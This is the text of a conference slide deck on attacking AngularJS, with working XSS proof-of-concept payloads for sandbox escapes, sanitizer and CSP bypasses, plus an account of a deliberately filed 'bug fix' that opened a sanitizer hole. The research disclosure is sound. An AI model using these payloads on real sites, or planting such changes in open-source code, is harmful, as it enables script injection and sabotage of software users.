SlideShare ist ein Scribd-Unternehmen logo
1 von 63
Downloaden Sie, um offline zu lesen
An Abusive Relationship
with AngularJS
About the Security Adventures with the "Super-Hero"
Framework
A talk by Mario Heiderich
mario@cure53.de || @0x6D6172696F
Godzilla in your DOM
● Dr.-Ing. Mario Heiderich
● Researcher and Post-Doc, Ruhr-Uni Bochum
● PhD Thesis about Client Side Security and Defense
● Founder of Cure53
● Pentest- & Security-Firm located in Berlin
● Security, Consulting, Workshops, Trainings
● Simply the Best Company in the World
● Published Author and Speaker
● Specialized on HTML5, DOM and SVG Security
● JavaScript, XSS and Client Side Attacks
● HTML5 Security Cheatsheet
● And DOMPurify!
● @0x6D6172696F
● mario@cure53.de
Today we want to talk about AngularJS. 
And how it deals with security.
But why? Is all this relevant?
And most importantly, 
is AngularJS 
the Honey Boo Boo of JavaScript Frameworks?
What is AngularJS?
● Popular JavaScript MVC
● Model-View-Whatever actually
● Self-proclaimed “Superheroic Framework”
● Maintained and recommended by Google
● Polarizing Philosophy
● Ever-growing user-base
● Large rate of adoption
● Heavy traffic on GitHub repository
Why AngularJS
● It's not the first time I've been talking about
AngularJS and its shenanigans.
● We've been whaling on AngularJS for quite
some time actually.
● Here for example.
● Leading to a strange discussion.
● Is it personal? No. The reasons are different.
Relationship Reasons
● It's got a large amount of (ironic, duh!) self-love.
Superheroic framework.
● It's changing ways websites work.
● It breaks the API often and makes upgrades
harder.
● It assumes to be smarter than HTML and works
with “markup sugar”.
● It will break everything in upcoming version 2.0.
The Honey Boo Boo of MVC?
Maybe Not
● AngularJS has high security standards.
● Security level is great if the rules are being
followed.
● By developers and maintainers. Both.
● And anything complex running in the browser
must know the browser.
● The web security paradox of layers.
● Network, Server, Browser, Framework, User, …
and all the ways back to the network.
It's better to design your application in such a way that users
cannot change client-side templates. For instance:
Do not mix client and server templates
Do not use user input to generate templates dynamically
Do not run user input through $scope.$eval
Consider using CSP (but don't rely only on CSP)
https://docs.angularjs.org/guide/security
Now, let's be nasty and attack.
But what? 
What shall we have a look at?
Four General Attack-Vectors
● A1: Attacking the Sandbox
● A2: Attacking the Sanitizer
● A3: Attacking the CSP Mode
● A4: Attacking the Codebase
A1
A1: The AngularJS Sandbox
● The AngularJS Sandbox is a weird creature with strange
motivations.
● According to the documents, it's not a security tool.
● It is mostly meant to “get devs off that DOM”.
● Mean, to limit exposure of the original DOM to avoid its
pitfalls.
● The AngularJS sandbox is in place for expressions and
several directives.
● User input reflected in an expression often means
immediate XSS. The sandbox prevents that.
A1: First Bypasses
● Bypassing the sandbox in early AngularJS versions
was trivial.
● {{constructor.constructor('alert(1)')()}}
● That's it. Access the scope object's constructor, next
access constructor again, get Function, done.
● Function('code here')(); // like an eval
● This attack works starting with version AngularJS
1.0 and stops working in 1.2.0.
● Sadly, many sites still employ AngularJS 1.1.x.
● And have difficulties upgrading due to API changes.
Or simply don't care about upgrades.
<!-- Bypassing Sandboxes, Toddler-style --!>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js">
</script>
<div class="ng-app">
{{ constructor.constructor('alert(1)')() }}
</div>
A1: First Fixes
● AngularJS reacted to this and implemented fixes.
Because “no security tool”, right?
● This was done by restricting access to Function (and
other dangerous objects)
● So, we needed to get Function from somewhere
else.
● Somewhere, where AngularJS doesn't notice we
have access to it.
● ES5, Callbacks and __proto__ help here!
A1: More Bypasses
● AngularJS' parser was actually quite smart.
● Bypasses needed to be more creative.
● Finders are Jann Horn, Mathias Karlsson and
Gábor Molnár
● And luckily, we had Object to provide
methods to get Function from.
● Or mentioned callbacks.
● Let's dissect those for a brief moment.
<!-- Jann Horn's Bypass --!>
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js"
></script>
</head>
<body>
{{
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor
( _.__proto__,$).value,0,'alert(1)')()
}}
</body>
<!-- A Variation for AngularJS 1.2.0 --!>
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js"
></script>
</head>
<body>
{{
a="constructor";b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(
b[a].getPrototypeOf(
a.sub),a).value,0,'alert(1)')()
}}
</body>
<!-- Mathias Karlsson's Bypass -->
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.js">
</script>
</head>
<body>
{{
toString.constructor.prototype.toString
=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor)
}}
</body>
</html>
<!-- Gábor Molnár's Bypass -->
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js">
</script>
<body ng-app>
{{
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' +
'alert(42);'
))
);
}}
</body>
</html>
<!-- Bypass via attributes, no user interaction →
<!-- Open that page with #foo in the URL -->
<!doctype html>
<html>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"
>
</script>
</head>
<body>
<a id="foo" ng-app ng-
focus="$event.view.location.replace('javascript:document.write(docume
nt.domain)')" contenteditable="true"></a>
</body>
</html>
A1: Extreme Bypasses
● Jann Horn reported another bypass for
1.3.2 and it's insane
<!-- Jann's rather extreme Bypass -->
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script>
<body ng-app ng-csp>
{{
objectPrototype = ({})[['__proto__']];
objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);
$root.$$listenerCount[['constructor']] = 0;
$root.$$listeners = [].map;
$root.$$listeners.indexOf = [].map.bind;
functionPrototype = [].map[['__proto__']];
functionToString = functionPrototype.toString;
functionPrototype.push = ({}).valueOf;
functionPrototype.indexOf = [].map.bind;
foo = $root.$on('constructor', null);
functionPrototype.toString = $root.$new;
foo();
}}
{{
functionPrototype.toString = functionToString;
functionPrototype.indexOf = null;
functionPrototype.push = null;
$root.$$listeners = {};
baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();
baz = true;''
}}
</body>
</html>
A1: Current State
● What about versions 1.3.2 to latest?
● There is no publicly known sandbox bypasses.
● Access to pretty much everything has been
restricted.
● No window, no Function, no Object, no call() or
apply(), no document, no DOM nodes
● And all other interesting things the parser cannot
understand. RegExp, “new”, anonymous functions.
● Is that the end of the road?
● Let's have a look!
<!-- Jann Horn's latest Bypass -->
<html>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js"
></script>
</head>
<body ng-app>
{{
'this is how you write a number properly. also, numbers are basically
arrays.';
0[['__proto__']].toString = [][['__proto__']].pop;
0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)';
0[['__proto__']].length = 1;
'did you know that angularjs eval parses, then re-stringifies
numbers? :)';
$root.$eval("x=0", $root);
}}
</body>
</html>
A1: User Interaction
● And there is of course variations, the
maintainers cannot really do much about.
● For example copy&paste, my favorite.
<!-- Bypass using Copy&Paste in Firefox -->
<meta charset="UTF-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.min.js">
</script>
<body ng-app="">
<input ng-copy="
$event.preventDefault();
$event.clipboardData.setData('text/html','&lt;div
contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a
xlink:href=&quot;?&quot;
xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;circle
r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate
attributeName=&quot;xlink:href&quot;
from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot;
begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt;&lt;/div
&gt')
" value="Copy Me">
<div contenteditable>PASTE HERE</div>
</body>
</html>
A2
A2: The Sanitizer
● AngularJS has an integrated HTML sanitizer.
● It's a component called $sanitize.
● It's purpose is to wash away XSS attacks
from a string of HTML.
● And return a clean string of HTML ready for
safe and secure usage.
● There is two major versions, one horrible
version, one that's not so bad.
A2: The Old Sanitizer
● The Old Sanitizer uses an actual HTML parser from
2008.
● That old thing from John E. Resig.
● It's extremely strict, hard to configure, crashes
literally all the time.
● We published a test-case where you can play with it.
● And it can be bypassed if some likely
prerequisites are met.
● Because of Chrome.
● Also, a friendly hat-tip to Gareth Heyes!
Injection:
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id
%3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D
%27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E
%3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D
%270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a
%3E%3C/svg%3E#rectangle"></use></svg>
Chrome ignores content type for SVG <use>!
A2: The New Sanitizer
● The New Sanitizer is still ugly. But it uses the DOM
instead of a parser.
● Namely, document.implementation, just like
DOMPurify
● It is still very strict, even more so since now it
forbids SVG by default. Boo.
● Early versions did not and were “bypassable”.
● And SVG is admittedly tricky to handle.
● New versions do and are still “bypassable”.
● Because of Chrome. Again.
● Cheers, Roman Shafigullin.
Affected Characters:
&#5760; &#8192; &#8193; &#8194;
&#8195; &#8196; &#8197; &#8198;
&#8199; &#8200; &#8201; &#8202;
&#8232; &#8287;
A classic mXSS in Chrome!
A3
A3: Attacking the CSP Mode
● Contrary to many other frameworks, AngularJS works
well together with CSP.
● CSP? Content Security Policy.
● The wannabe “XSS Killer”.
● And it has to, otherwise it wouldn't be deployable in
extensions and alike.
● Its compatibility with CSP is a strength and a
weakness at the same time.
● We are interested in the latter of course.
A3: Early CSP Bypasses
● The first spotted bypasses were trivial to say the
least. Just use Framework features.
● Take a website with strong CSP and older AngularJS.
● Find an injection.
● Don't do "onclick="alert(1)"
● But instead do "ng-click="$event.view.alert(1)".
● Because $event leaks window via view.
● This works until version 1.1.5.
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js"
></script>
</head>
<body>
<h1 ng-click="$event.view.alert(1)">XSS</h1>
<h1 ng:click="$event.view.alert(2)">XSS</h1>
<h1 x-ng-click="$event.view.alert(3)">XSS</h1>
<h1 data-ng-click="$event.view.alert(4)">XSS</h1>
<h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1>
</body>
</html>
A3: Fixes and new Bypasses
● Why not use the sandbox here as well?
● AngularJS started to prevent access to window and other
properties.
● So we would do it indirectly, abusing a Chrome flaw, with the
help of Blob.
● But for Blob we would need the “new” operator and AngularJS
doesn't parse that.
● So we need to resort to using ES6 and the brand new
Reflect API.
● This works until version 1.3.1 by the way.
● But there is a problem. Chrome doesn't implement
Reflect.construct() yet.
● So we have a theoretical bypass for now.
● And Firefox as well as Edge respect CSP w. blob:.
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"
></script>
</head>
<body>
<h1 ng-click="
$event.view.location.replace($event.view.URL.createObjectURL($event.
view.Reflect.construct( $event.view.Blob,
[['<script>alert(1)</script>'],{type:'text/html'}])))
">XSS</h1>
<!-- without CSP we can of course do this -->
<h1 ng-
click="$event.view.location.replace('javascript:alert(1)')">XSS</h1>
</body>
<!-- read from bottom to top -->
<h1 ng-click="
$event.view.location.replace( // 4. call location.replace
$event.view.URL.createObjectURL( // 3. create Blob URL
$event.view.Reflect.construct( // 2. get around “new”
$event.view.Blob,
[['<script>alert(1)</script>'],
{type:'text/html'}] // 1. build a Blob
)
)
);
">XSS</h1>
A3: Universal CSP Bypass
● There's another bypass they cannot easily fix.
● It works where applications use the Google CDN.
● And it relates to a collision check they
implemented. Only too late.
● Because it landed in 1.2.15 and newer.
● “WARNING: Tried to load angular more than once.”
● And essentially enables a downgrade attack.
● That will, if Google CDN is white-listed, universally
bypass CSP. Don't white-list that CDN.
● Just bring the old bypasses back!
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.6/angular.js"
></script>
</head>
<body>
<h1
class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/
angular.js></script><h1/ng-
click=$event.view.alert(1)//>CLICKME"></h1>
</body>
A4
A4: Attacking the Code-Base
● What does an attacker do if no exploitable bugs
can be found?
● Of course. We attack the project itself.
● And use the power of open source to introduce
changes that cause the bugs we want.
● And thereby get both praise for reporting a bug
and the desired exploit for free.
● We did that to AngularJS.
● Google Security knew in advance,
AngularJS did not.
A4: The Con-Setup
● We needed a subtle “bug” that upon being fixed would
raise a security issue.
● Or smuggle in a pull request that looks unsuspicious
enough to pass QA.
● The first option is unlikely, like a lottery win.
● The second option is a bit more risky, what if we get
detected?
● Well.
● We were lucky, that exact subtle “bug” existed
and it did in the $sanitizer component.
● Let's have a look!
A4: The Bug
// SVG attributes (without "id" and "name" attributes)
// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes
var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' +
'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' +
'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' +
'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' +
'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' +
'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' +
'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' +
'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' +
'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' +
'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' +
'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' +
'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' +
'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' +
'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' +
'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' +
'zoomAndPan');
Fun fact, those attributes were considered safe because of a
deprecated Wiki page from WHATWG:
https://wiki.whatwg.org/wiki/Sanitization_rules
A4: The Bug
angular.forEach(attrs, function(value, key) {
var lkey = angular.lowercase(key); // < here!
var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background');
if (validAttrs[lkey] === true &&
(uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
}
);
As we can see, the lowercasing ruins the test – and even valid
attributes cannot pass. What a coincidence, that this happens
exactly for dangerous attributes here! Thanks, SVG!
A4: The Execution
● So, if that specific behavior observed in
the sanitizer blocks a bypass...
● We need to file a bug to get it fixed!
● The bug. Not the bypass :)
● So we did that.
● And it got accepted!
A4: The Bypass
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href"
begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
We use an animation to animate a link's href attribute from a
benign, over a dangerous to a harmless but invalid state,
causing the browser to jump back to the malicious state. Neat.
A4: The Aftermath
● We reported the issue to Google Security.
● They informed the AngularJS Team.
● Nothing happened for weeks.
● The next release came close. Danger!
● We pinged again.
● They finally fixed our bug.
● Phew :)
● Now, note that file contains a big comment warning
the developers.
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Any commits to this file should be reviewed with security in mind. *
* Changes to this file can potentially create security vulnerabilities. *
* An approval from 2 Core members with history of modifying *
* this file is required. *
* *
* Does the change somehow allow for arbitrary javascript to be executed? *
* Or allows for someone to change the prototype of built-in objects? *
* Or gives undesired access to variables likes document or window? *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
And, in case you hate
us a bit for doing that
stunt...
We even got
Bug Bounty
for that in
the end!
:D
A Quick Conclusion
● AngularJS does in fact extend the attack surface
dramatically. Older versions even more.
● Meanwhile, some things are done right. Others can
almost never be fixed again.
● Developers have to know pitfalls to avoid them.
● And pitfalls often are unfairly hard to detect and avoid.
Especially when CSP is involved.
● Many sites still use older versions. Many.
● Open Source can be risky if the traction is high.
● Google's team already does well though.
● But Google could do better in helping developers.
The End
● Question?
● Comments?
● Thanks a lot!
● Shouts go out to
● Gareth McHeyes
● Jann Horn
● Mathias Karlsson
● Gábor Molnár
● David Ross
● Eduardo Vela

Weitere ähnliche Inhalte

Was ist angesagt?

青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて
青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて
青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けてmasayoshi takahashi
 
Understanding DB2 Optimizer
Understanding DB2 OptimizerUnderstanding DB2 Optimizer
Understanding DB2 Optimizerterraborealis
 
PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...
PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...
PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...PGConf APAC
 
Deployment Patterns of WSO2 Identity Server
Deployment Patterns of WSO2 Identity ServerDeployment Patterns of WSO2 Identity Server
Deployment Patterns of WSO2 Identity ServerMifrazMurthaja
 
Introduction of Mesosphere DCOS
Introduction of Mesosphere DCOSIntroduction of Mesosphere DCOS
Introduction of Mesosphere DCOSDeughyeon Chang
 
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~infinite_loop
 
超簡単!!なTestLinkの使い方
超簡単!!なTestLinkの使い方超簡単!!なTestLinkの使い方
超簡単!!なTestLinkの使い方Cake YOSHIDA
 
Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo...
 Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo... Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo...
Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo...Enkitec
 
Spring I/O 2012: Natural Templating in Spring MVC with Thymeleaf
Spring I/O 2012: Natural Templating in Spring MVC with ThymeleafSpring I/O 2012: Natural Templating in Spring MVC with Thymeleaf
Spring I/O 2012: Natural Templating in Spring MVC with ThymeleafThymeleaf
 
웹 Front-End 실무 이야기
웹 Front-End 실무 이야기웹 Front-End 실무 이야기
웹 Front-End 실무 이야기JinKwon Lee
 
Oracle Enterprise manager SNMP and Exadata
Oracle Enterprise manager SNMP and ExadataOracle Enterprise manager SNMP and Exadata
Oracle Enterprise manager SNMP and ExadataMike Chafin
 
Clone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13c
Clone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13cClone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13c
Clone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13cAlfredo Krieg
 
Exadata master series_asm_2020
Exadata master series_asm_2020Exadata master series_asm_2020
Exadata master series_asm_2020Anil Nair
 
Exadata troubleshooting
Exadata troubleshootingExadata troubleshooting
Exadata troubleshootingpat2001
 
JEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_ccc
JEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_cccJEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_ccc
JEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_cccYujiSoftware
 

Was ist angesagt? (20)

青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて
青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて
青空文庫と式年遷宮アーキテクチャ: 青空文庫200周年に向けて
 
Elk stack
Elk stackElk stack
Elk stack
 
Understanding DB2 Optimizer
Understanding DB2 OptimizerUnderstanding DB2 Optimizer
Understanding DB2 Optimizer
 
PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...
PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...
PGConf APAC 2018 - PostgreSQL HA with Pgpool-II and whats been happening in P...
 
Vue入門
Vue入門Vue入門
Vue入門
 
Deployment Patterns of WSO2 Identity Server
Deployment Patterns of WSO2 Identity ServerDeployment Patterns of WSO2 Identity Server
Deployment Patterns of WSO2 Identity Server
 
Introduction of Mesosphere DCOS
Introduction of Mesosphere DCOSIntroduction of Mesosphere DCOS
Introduction of Mesosphere DCOS
 
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
大規模ソーシャルゲームを支える技術~PHP+MySQLを使った高負荷対策~
 
超簡単!!なTestLinkの使い方
超簡単!!なTestLinkの使い方超簡単!!なTestLinkの使い方
超簡単!!なTestLinkの使い方
 
Paxos
PaxosPaxos
Paxos
 
Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo...
 Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo... Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo...
Tuning SQL for Oracle Exadata: The Good, The Bad, and The Ugly Tuning SQL fo...
 
Spring I/O 2012: Natural Templating in Spring MVC with Thymeleaf
Spring I/O 2012: Natural Templating in Spring MVC with ThymeleafSpring I/O 2012: Natural Templating in Spring MVC with Thymeleaf
Spring I/O 2012: Natural Templating in Spring MVC with Thymeleaf
 
웹 Front-End 실무 이야기
웹 Front-End 실무 이야기웹 Front-End 실무 이야기
웹 Front-End 실무 이야기
 
Oracle Enterprise manager SNMP and Exadata
Oracle Enterprise manager SNMP and ExadataOracle Enterprise manager SNMP and Exadata
Oracle Enterprise manager SNMP and Exadata
 
Clone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13c
Clone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13cClone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13c
Clone Oracle Databases In Minutes Without Risk Using Enterprise Manager 13c
 
Exadata master series_asm_2020
Exadata master series_asm_2020Exadata master series_asm_2020
Exadata master series_asm_2020
 
Exadata troubleshooting
Exadata troubleshootingExadata troubleshooting
Exadata troubleshooting
 
詳説WebAssembly
詳説WebAssembly詳説WebAssembly
詳説WebAssembly
 
Express JS
Express JSExpress JS
Express JS
 
JEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_ccc
JEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_cccJEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_ccc
JEP280: Java 9 で文字列結合の処理が変わるぞ!準備はいいか!? #jjug_ccc
 

Andere mochten auch

医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015
医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015
医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015CODE BLUE
 
自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek
自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek
自動車セキュリティの現状 by クリス・ヴァラセク Chris ValasekCODE BLUE
 
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015CODE BLUE
 
欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik
欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik
欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey GordeychikCODE BLUE
 
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaXSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaCODE BLUE
 
Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...
Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...
Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...CODE BLUE
 
60分でわかる感染症診療の基本 改訂第3版
60分でわかる感染症診療の基本 改訂第3版60分でわかる感染症診療の基本 改訂第3版
60分でわかる感染症診療の基本 改訂第3版林整形外科クリニック
 

Andere mochten auch (7)

医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015
医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015
医療機器のセキュリティ by Florian Grunow - CODE BLUE 2015
 
自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek
自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek
自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek
 
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
韓国のサイバーセキュリティ人材資源への投資 by Seungjoo Gabriel Kim - CODE BLUE 2015
 
欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik
欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik
欧州におけるスマートグリッドの実践的セキュリティアセスメント by Aleksandr Timorin & Sergey Gordeychik
 
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato KinugawaXSSフィルターを利用したXSS攻撃 by Masato Kinugawa
XSSフィルターを利用したXSS攻撃 by Masato Kinugawa
 
Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...
Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...
Lessons learned from hundreds of cyber espionage breaches by TT and Ashley - ...
 
60分でわかる感染症診療の基本 改訂第3版
60分でわかる感染症診療の基本 改訂第3版60分でわかる感染症診療の基本 改訂第3版
60分でわかる感染症診療の基本 改訂第3版
 

Ähnlich wie An Abusive Relationship with AngularJS by Mario Heiderich - CODE BLUE 2015

An Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSAn Abusive Relationship with AngularJS
An Abusive Relationship with AngularJSMario Heiderich
 
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack
 
Reviewing AngularJS
Reviewing AngularJSReviewing AngularJS
Reviewing AngularJSLewis Ardern
 
Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)ColdFusionConference
 
Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
